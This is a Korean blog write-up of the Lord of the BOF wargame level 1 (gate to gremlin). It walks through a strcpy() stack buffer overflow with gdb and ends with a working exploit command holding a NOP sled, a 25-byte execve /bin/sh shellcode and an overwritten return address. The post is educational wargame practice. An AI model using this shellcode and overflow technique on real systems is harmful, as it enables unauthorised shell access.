ii4gsp
LOB - Level1 [gate -> gremlin] 본문
LOB는 \xff를 입력했을 때, \x00으로 처리해버려 쉘을 획득하지 못하는 문제가 발생한다.
그래서 bash2를 입력해주고 문제를 풀어야한다.
gremlin.c 소스코드를 보면 256byte buffer라는 변수가 선언되있고 argc가 2 이상인지 확인하고
strcpy() 함수로 argv[1]에 buffer를 복사한다.
strcpy() 함수에서 취약점이 발생한다.
파일을 복사하여 gdb로 파일을 열어주었다.
<main+62>를 보면 buffer가 ebp-256에 위치한것을 알 수 있고
buffer의 크기가 256이니 dummy값 없이 buffer - sfp - ret가 된다.
strcpy()함수 호출하고 난 바로 다음인 <main+59>부분을 break point해주고 A로 256개의 값을 채워주었다.
NOP중에서 0xbffff910을 페이로드에 사용하겠다.
페이로드는 NOP * 200 + 25byte 쉘코드 + NOP * 35 + ret가 되겠다.
payload
./gremlin $(python -c 'print "\x90" * 200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90" * 35 + "\x10\xf9\xff\xbf"')
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level6 [wolfman -> darkelf] (0) | 2020.01.14 |
---|---|
LOB - Level5 [orc -> wolfman] (0) | 2020.01.14 |
LOB - Level4 [goblin -> orc] (0) | 2020.01.14 |
LOB - Level3 [cobolt -> goblin] (0) | 2020.01.13 |
LOB - Level2 [gremlin -> cobolt] (0) | 2020.01.13 |
Comments